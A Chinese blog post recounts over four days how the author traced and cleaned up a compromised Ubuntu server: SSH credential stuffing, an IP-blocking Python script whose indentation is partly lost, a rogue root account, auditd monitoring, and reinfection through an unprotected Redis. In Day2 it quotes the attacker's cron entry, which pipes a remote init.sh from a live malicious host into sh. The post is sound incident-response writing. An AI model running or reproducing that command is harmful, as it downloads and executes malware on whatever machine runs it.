服务器被攻击纪实

服务器被黑纪实

Day1

首先是由于服务器上的几个账号的密码总是被莫名的改掉,比如27号,software账号的密码就被更改了。由于ubuntu的安全机制,我无法看到改后的密码。
viewfile.jpg

为了排查这个问题,我查看了系统的登录日志,于是乎发现了大量的ssh登录失败的日志:
viewfile (1).jpg

从上图的登录请求来看,攻击者肯定不是使用暴力破解方式,而是拥有一个字典库或者也叫密码库,来进行撞库攻击。因此,我才决定更改ssh登录地址。
从上图还可以发现一个问题,即请求者的IP都是127.0.0.1,这个并不是因为攻击者太牛逼,把自己的IP伪装掉了,而是因为我们使用的内网穿透的缘故。
为了能在外网访问服务器,在服务器上启动了frpc内网穿透客户端。而通过内网穿透发起的请求,会全部变为自己对自己的请求,即发起者是127.0.0.1。
而由于目前,公司有了公网IP,就不需要再利用内网穿透来实现公网访问,而是通过NAT虚拟服务器来实现公网访问。而通过这种技术,可以获取到发起请求者真正的IP,如下图:
viewfile (2).jpg

Day2

第二天,我再次查看auth日志,发现依旧出现了大量的登录请求,看来改变域名没什么用,也许对方已经知道了我们的新的域名了。然后再看一下对方的IP,发现有北京、杭州、安徽,还有美国的微软云,应有尽有,并且会频繁的更换IP。因此我决定写一个脚本,定时去封锁那些登录失败超过3次的IP。脚本比较简单,如下:

import time
print(time.asctime(time.localtime(time.time())), end='\t')
with open('/var/log/auth.log', 'r') as f:
ips = dict()
for line in f.readlines():
    if 'authentication failure;' in line:
        ip = line[line.index('rhost=') + 6:].strip().split(' ')[0]
    elif 'Invalid user ' in line:
        ip = line[line.index('from') + 5:].strip()
    else:
        continue

    if ':' in ip or '192.168' in ip or '222.90.' in ip:
        continue
    if ip in ips:
        ips[ip] += 1
    else:
        ips[ip] = 0
ips = list(filter(lambda x: ips[x] > 2, ips))

with open('/etc/hosts.allow', 'r') as f:
    hosts = f.readlines()

for i in range(len(ips) - 1, -1, -1):
    for line in hosts:
        if ips[i] in line:
            del ips[i]
            break

print(ips)
if len(ips) > 0:
    with open('/etc/hosts.allow', 'w') as f:
        f.writelines(hosts)
        for ip in ips:
                f.write(f'sshd:{ip}:deny\n')

随后,我打算把这个脚本放到Cron定时任务中。但是一打开root用户的crontab,就发现被添加了一个定时任务,这个定时任务是每分钟下载一个叫做init.sh的脚本,并自动运行。如下:
*/5 * * * * curl -fsSL http://xmr.ipzse.com:66/init.sh | sh
我把这个脚本下载下来看了一下,发现这就是一个恶意脚本,内容如下:
微信图片_20200806154545.jpg

附上该脚本:init.sh.txt
于是乎,我把这个定时任务直接删除,然后添加上我自己的封锁IP的脚本。
同时,我在路由器上添加了一条URL过滤,将病毒可能用到的网址全部封禁:
Snipaste_2020-08-06_16-19-11.png

Day3

本来以为已经万事大吉,结果过了一段时间再看,发现我的脚本并没有定时执行。我再次查看了crontab,结果发现里面的内容又变成了恶意脚本,而我自己添加的内容已经被覆盖掉了。看来系统里面仍然有残存的病毒。我查看了/etc/passwd,发现多了两个用户,其中一个用户的cid竟然是0,意味着这个用户拥有了root权限。这怎么行,我立即将他的权限改掉,然后删除了该用户。另一个用户的主目录中,存在着一个二进制可执行文件,并且正在运行着,一看就不是什么好东西,kill掉以后,把这个用户也删除了。

Day4

观察一天后,发现cron仍然存在着被恶意脚本覆盖的问题。我实在没什么办法,就搬出了audit这个审计工具。

The Linux Audit Subsystem is a system to Collect information regarding events occurring on the system(s) ,Kernel events (syscall events), User events (audit-enabled programs)
syslog记录的信息有限,主要目的是软件调试,跟踪和打印软件的运行状态,而audit的目的则不同,它是linux安全体系的重要组成部分,是一种“被动”的防御体系。在内核里有内核审计模块,记录系统中的各种动作和事件,比如系统调用,文件修改,执行的程序,系统登入登出和记录所有系统中所有的事件,它的主要目的是方便管理员根据日记审计系统是否允许有异常,是否有入侵等等,说穿了就是把和系统安全有关的事件记录下来。

通过这个工具,执行命令auditctl -w /var/spool/cron/root -p rwxa -k cron,将root的定时任务监控起来,看看到底是哪个进程更改了cron。
过了一段时间,果然root的cron被覆盖,我赶紧查看了audit的log,结果却不尽人意。在log里面,我ls、vim等操作都被记录了下来,但是病毒的操作却并没有被记录。文件被修改的时间前后,log里面只有config_changed的信息,而从这里看不出任何的信息。但是有一条log引起了我的注意,是redis的一条持久化存储的Log。我咨询了后端的同事,他们说redis确实会用到cron来进行定时存储。一开始我也没在意,但是后来我实在没办法了,就查看了redis里面存储的内容,结果发现。redis里面竟然也存了恶意脚本。我立即将其全部删除,并给redis增加了密码,然后一段时间直到现在,cron里面都是干净的。这个病毒也算是告一段落了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

上古豆腐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值